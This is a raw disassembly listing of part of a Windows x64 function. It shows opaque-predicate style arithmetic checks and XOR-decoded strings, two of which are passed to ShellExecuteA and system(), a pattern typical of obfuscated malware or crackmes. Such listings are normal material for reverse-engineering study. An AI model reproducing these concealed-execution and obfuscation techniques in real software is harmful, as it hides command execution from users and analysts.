lea rcx, [rbp - 0x55]
call fcn.140003220
mov r11, rax
cmp byte [rax + 0x17], r12b
je 0x14000e635
cmp r15d, 2
jl 0x14000e5f7
movdqa xmm5, xmmword [0x140011aa0]
mov edx, r12d
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14000e4f0
jmp 0x14000e635
mov r10, r11
mov r9d, r12d
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x33
movzx eax, r9b
sub al, r8b
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x18
jl 0x14000e600
mov rdx, r11
mov rcx, rbx
call fcn.140001010
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rdx, qword [rbp + 0x1b0]
mov r8, qword [rbp + 0x1c0]
mov rcx, rax
call fcn.140001270
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000e67d
movzx esi, byte [rsp + 0x40]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000efab
cmp qword [rbp + 0x200], r12
je 0x14000e6d3
cmp qword [rbp + 0x1e0], r12
mov rdx, r13
jne 0x14000e6d6
mov rdx, r12
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e78b
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000e78b
mov r10d, r14d
jmp 0x14000e823
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e81e
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r10d, xmm0
jmp 0x14000e823
mov r10d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14000efab
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1f0]
call fcn.1400043c0
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000efab
mov rax, r12
cmp qword [rbp + 0x1c0], rax
setne al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000e988
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000e988
mov r9d, r14d
jmp 0x14000ea20
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ea1b
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r9d, xmm0
jmp 0x14000ea20
mov r9d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000efab
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000efab
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1d0]
call fcn.1400065d0
xor al, 1
movzx eax, al
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000eb7b
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000eb7b
mov r10d, r14d
jmp 0x14000ec13
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ec0e
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r10d, xmm0
jmp 0x14000ec13
mov r10d, dword [rsp + 0x78]
call fcn.1400042c0
movsx r9d, al
call fcn.1400042b0
movsx ecx, al
imul r9d, ecx
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x14000efab
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov byte [rbp - 0x54], r12b
lea rdx, [rbp + 0x128]
lea rcx, [rbp - 0x54]
call fcn.140003390
mov r11, rax
cmp byte [rax + 0x1f], r12b
je 0x14000ee05
cmp dword [0x140017010], 2
jl 0x14000edc9
movdqa xmm5, xmmword [0x140011aa0]
mov edx, r12d
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14000ecc2
jmp 0x14000ee05
mov r10, r11
mov r9d, r12d
nop
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x33
movzx eax, r9b
sub al, r8b
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x20
jl 0x14000edd0
mov rdx, r11
mov rcx, rbx
call fcn.140001010
lea rdx, [0x140001760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ef0c
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000f591
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ef9e
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si eax, xmm0
jmp 0x14000efa2
mov eax, dword [rsp + 0x78]
cmp r12d, eax
jl 0x14000f591
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f1f4
test sil, sil
je 0x14000f001
cmp qword [rbp + 0x1c0], r12
mov rdx, r13
jne 0x14000f004
mov rdx, r12
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f0b9
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000f0b9
mov r9d, r14d
jmp 0x14000f151
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f14c
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r9d, xmm0
jmp 0x14000f151
mov r9d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000f1f4
lea rbx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rbx, qword [rbp + 0x1b0]
mov byte [rbp - 0x50], r12b
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x50]
call fcn.140002c50
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14000f1d9
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f400
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, edi
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f2e6
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000f37e
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f379
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si r14d, xmm0
jmp 0x14000f37e
mov r14d, dword [rsp + 0x78]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x14000f400
mov byte [rbp - 0x52], r12b
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x52]
call fcn.140003500
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000f3f7
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x70], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f4ef
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000f58e
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000f581
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x70]
cvttsd2si eax, xmm0
jmp 0x14000f585
mov eax, dword [rsp + 0x78]
cmp r12d, eax
jge 0x14000f68e
mov r13d, r12d
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x14000f5d2
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f5cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f6c6
call fcn.14000faec
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x14000f62c
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f627
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f723
call fcn.14000faec
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x14000f686
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f681
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f780
call fcn.14000faec
mov eax, r13d
jmp 0x14000f78e
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x14000f6d2
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f6cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f6cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000faec
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x14000f72f
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f72a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f72a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000faec
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x14000f78c
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f787
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f787
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000faec
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14000fc10
lea r11, [rsp + 0x380]
